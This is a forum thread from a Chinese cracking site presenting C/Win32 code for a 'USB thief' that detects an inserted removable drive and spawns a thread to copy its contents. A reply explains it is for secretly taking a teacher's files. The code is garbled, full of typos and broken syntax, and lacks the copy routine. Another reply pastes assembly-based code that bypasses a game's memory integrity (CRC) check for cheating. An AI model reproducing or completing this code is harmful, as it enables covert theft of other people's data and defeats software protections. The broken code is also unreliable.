吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 7325|回复: 25
收起左侧

[其他原创] U盘小偷-- 链接代码

[复制链接]
zhanghailiangji 发表于 2018-2-28 16:17
本帖最后由 zhanghailiangji 于 2018-3-2 11:43 编辑

  #include<windows.h>                //窗口头文件
  #include"resource.h"
  #include<Dbt.h >                     //DBT_DEVICEARRIVAL头文件
  #include<stdio.h >                  //头文件
//获取当前插入设备对应的磁盘编号
char   firstdrivefromMask(ULONG unitmask)         //返回字符,写一个函数
//firstdrivefromMask(ULONG)传一个参数ULONG
//窗口处理函数
LRESULT CALLBACK windowproc(       // windowproc函数处理
//LRESULT//返回值,就是long .  // windowproc()//函数名写上,指针 . //CALLBACK 回调函数,__ctdcall,默认的是:__pascal
4个参数:HWND  hwnd       //窗口句柄
                 UINT   umsg                      //UINT无符号int型 ,消息编号
                WPARAM  wparam             //附加消息
                 LPARAM   iparam               //附加消息
}
{
TCHAR *pszrootpath = NULL;             //定一个变量
//TCHAR定一个变量,pszrootpath根目录
switch(umsg)              //判断一下关闭消息
{
cese   WM_DEVICECHANGE;             //U盘插入消息, 设备改变消息
//判断     switch(wparam)
{
case  DBT_DEVICEARRIVAL;      //设备已经插入计算机,并且可以使用
去掉//messagebox(hwnd,TEXT("已经检检测设备插入并且可以使用") ,TEXT("提示") ,MB_OK);  
{
//判断一下//   //强制转换//DEV_BROADCAST_HDR * lpdb = (DEV_BROADCAST_HDR*) lparam;         // HDR盘符
//lpdb 是个变量,逻辑卷,    lparam强制转换 , DEV_BROADCAST_HDR结构体类型
DEV_BROADCAST_ VOLUME*lpdbv = ( DEV_BROADCAST_ VOLUME*)lpdb;  //获取盘符名称
//VOLUME逻辑卷 , 强制转换DEV_BROADCAST_ VOLUME*lpdbv = ( DEV_BROADCAST_ VOLUME), 强制转换lpdb拿过来

char chdisk =  firstdrivefromMask(lpdbv ->dbcv_unitmask);    //盘符出来了
//调用 firstdrivefromMask(lpdbv ->dbcv_unitmask), 值char字符的
pszrootpath = new   TCHAR[MAX_PATH];     //根目录值  ,给他一个值
// new  TCHAR[MAX_PATH]开辟空间
sprintf(pszrootpath,"%c:", chdisk);      //格式化, c字符, :号格式化进去了,:号格代表路径

//判断驱动器类型
if (DRIVE_REMOVABLE  == getdrivetype(pszrootpath))      //判断一下getdrivetype(pszrootpath
//DRIVE_REMOVABLE可移动磁盘
{
//创建一个线程,复制文件,递归函数
createthread(NULL, NULL, copyproc,NULL,NULL,NULL);
//创建线程NULL, NULL, copyproc,NULL,NULL,NULL
//copyfile() ;            //复制一个文件
//createdirectory();//创建文件夹


}



break;
//判断一下//     case DBT_DEVICEREMOVECOMPLETE;     //设备移除完成 ,设备删除
去掉//messagebox(hwnd,TEXT("已经检检测设备已经移除") ,TEXT("提示") ,MB_OK);  
break;
}
  messagebox(hwnd,TEXT("已经检测到设备发成改变") ,TEXT("提示") ,MB_OK);      //弹处框框,  消息提示框
//TEXT("已经检测到设备发成改变") ,TEXT("提示") ,MB_OK);    // 弹出一个 语句
break;
case WM_CLOSE:        //CLOSE消息 , 窗口关闭消息
//showWindow(hwnd,SW_HIDE);                  //隐藏
destroywindow(hwnd);    //销毁窗口
break;
  case WM_DESTROY;       //处理这个消息,  窗口销毁消息, 变量销毁,数据清理
postquitmessage(0);           //退出
break;
}
return Defwindowproc(hwnd,umsg,wparam,lparam);
}
//获取当前插入设备对应的磁盘编号
char   firstdrivefromMask(ULONG unitmask)   
(
char  i;                  //制定一个char, 返回ch
//for循环// for(i=0;i<32;i++)         //i<32整数32位
{
if(unitmask & 1)       // unitmask & 1   按位语为真就break
break;           //跳出循环
unitmask  = unitmask >> 1;   //不为真右移>>1
}
return i+‘A’;               // 移上循环次数

return ch;                    //返回ch
)//main  //函数    winmain() //函数

int WINAPI //入口   winmain(
        1.参数//HINSTANCE   hinstance,         //应用程序实例句柄     
        2.参数//HINSTANCE   hpreinstance,    //应用程序前一个实例句柄
        3.参数//LPSTR   ipcmdline                   //     命令行参数 , 字符串
        //LPSTR   ipcmdline   就是char*
        4.参数//int    ncmdshow                      //整形参数,表示窗口的显示方式,最大化,最小化,隐藏
        
   }
{
/*
做一个窗口:
步骤:1.设计窗口类  
找到工具 -- spy++ -- 望远镜。
TEXT // 宏定义,字符集:默认编码:unicode编码,多字节字符集
//字符串数组表示//TCHAR szclassappname[ ] = TEXT ("TZ-UDiskthief ");     //名字
//WND 窗口  , CLASS类名
//结构体变量//WNDCLASS  wndclass;        //窗口类型
wndclass,cbclsextra = 0;                 //窗口类型额外字节大小
wndclass,cbwndextra = 0 ;             //窗口扩展空间字节大小
wndclass,hbrbackground =(HBRUSH) getstockobject(WHITE_BRUSH) ;       //加载白色背景画刷   
// HBRUSH强制转换
wndclass,hcursor =loadcursor( NULL,IDC_ARROW)  ;      //加载光标
// loadcursor加载箭头光标 , IDC_ARROW箭头名字
wndclass.hicon = loadicon(hinstance,MAKEINTRESOURCE(IDI_ICON1) );    //加载图标
//hicon 图标 ,定义,IDI_ICON1头文件在resource.h里面#define IDI_ICON1 101
//MAKEINTRESOURCE(IDI_ICON1)强制转换
wndclass.hinstance = hinstance;      //应用程序实例句柄
wndclass.lpfnwndproc  =windowproc;       //窗口处理函数,回调函数
wndclass.lpszclassname =  szclassappname   //窗口类型名
wndclass.lpszmenuname = NULL;            //菜单名
wndclass.style = CS_HREDRAW | CS_VREDRAW | CS_DBLCLKS;    //窗口类的风格


2.注册窗口类
registerclass(&wndclass);     //注册窗口类

3.创建窗口
HWND hwnd = createwindow(               //HWND hwnd  窗口句柄值
  szclassappname,                                  //窗口的类型名
   TEXT("U盘小偷"),                              //窗口标题
   WS_OVERLAPPEDWINDOW,               //窗口的风格
   300,                                                //窗口位置和坐标,窗口左上角横坐标
    100,                                              //   窗口左上角纵坐标
    400,                                                 //窗口的宽度
    300,                                              //  窗口的高度
    NULL,                                               //父窗口句柄
    NULL,                                               //菜单句柄
    hinstance,                                          //应用程序实例句柄
    NULL,                                                 //参数

);
4.显示窗口
showWindow(hwnd, SW_SHOW);      //显示窗口

5.更新窗口
updatewindow(hwnd);           //更新与刷新一下

6.消息循环
  MSG msg;             //定一个变量
while(getmessage(&msg ,NULL , 0 ,0) )                                // while循环. 消息循环
//getmessage获取,  保存在&msg里面, 获取全部消息NULL , 0 ,0
{
//将虚拟键消息转换为字符消息
translatemessage(&msg);      //translatemessage 函数         msg值转换,转换
//将消息分发给窗口处理函数处理
dispatchmessage(&msg);



}
*/
}
return 0;       //结束程序
//窗口处理函数
LRESULT CALLBACK windowproc(
//LRESULT//返回值,就是long .  // windowproc()//函数名写上,指针 . //CALLBACK 回调函数,__ctdcall,默认的是:__pascal
4个参数:HWND  hwnd       //窗口句柄
                 UINT   umsg                      //UINT无符号int型 ,消息编号
                WPARAM  wparam             //附加消息
}                LPARAM   iparam               //附加消息
{
return  defwindowproc(hwnd,umsg,wparam,lparam);       //defwindowproc(hwnd)调用系统函数来处理
}

免费评分

参与人数 3吾爱币 +2 热心值 +2 收起 理由
joede12306 + 1 + 1 热心回复!
古覚 + 1 谢谢@Thanks!
阿木100 + 1 热心回复!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

雨季丶 发表于 2018-2-28 17:35
C语言。。。楼主牛逼
PP小灰灰 发表于 2018-2-28 16:26 来自手机
我有一段代码,帮我翻译一下,谢谢PUCHAR image_end = nullptr; PUCHAR image_copy = nullptr; UINT32 Memorycrc_check1 = 0x01226699; UINT32 Memorycrc_retn1 = 0x01226792; UINT32 Memorycrc_check2 = 0xF4C14A; UINT32 Memorycrc_retn2 = Memorycrc_check2 + 0x6;   #define NAKED __declspec(naked) void __stdcall    NAKED crc_check2() {         VMProtectBegin("crc_check2");         __asm{                 cmp ecx, image_end;                 jg nobypass;                 cmp ecx, image_base;                 jl nobypass;                 sub ecx, image_base;                 add ecx, image_copy;         nobypass:                 mov ecx, dword ptr[ecx];                 add dword ptr [edi], ecx;                 mov esi, ebp;                 jmp[Memorycrc_retn2];         }           VMProtectEnd(); }   void WINAPI Initialize_bypasscrc_t() {         VMProtectBegin("Initialize_bypasscrc_t");         //SetConfigPath();         image_base = reinterpret_cast<unsigned char*>(GetModuleHandle(L"KartRider.exe"));         IMAGE_NT_HEADERS* nt_header = PIMAGE_NT_HEADERS(image_base + PIMAGE_DOS_HEADER(image_base)->e_lfanew);         image_copy = reinterpret_cast<unsigned char*>(malloc(nt_header->OptionalHeader.SizeOfImage));         memcpy(image_copy, image_base, nt_header->OptionalHeader.SizeOfImage);         image_end = image_base + nt_header->OptionalHeader.SizeOfImage;         WriteJUMP(Memorycrc_check1, Memorycrc_retn1);         WriteJUMP(Memorycrc_check2, (DWORD)crc_check2);         VMProtectEnd(); }
吴兜兜 发表于 2018-2-28 16:22
Titanic 发表于 2018-2-28 16:32
看不明白,不知道干啥呢。
D小小贱 发表于 2018-2-28 16:36
158563862 发表于 2018-2-28 16:32
看不明白,不知道干啥呢。

偷老师课件的,插入电脑,自动拷贝u盘内容
暮歌尽天下 发表于 2018-2-28 16:43
u盘小偷?用来偷U盘的吗  
liuanta 发表于 2018-2-28 16:58
这是做什么用的?
爸爸爱你 发表于 2018-2-28 17:11
看不懂。
haoxiujie 发表于 2018-2-28 17:17
这个的作用是什么呢
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-5-18 06:06

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表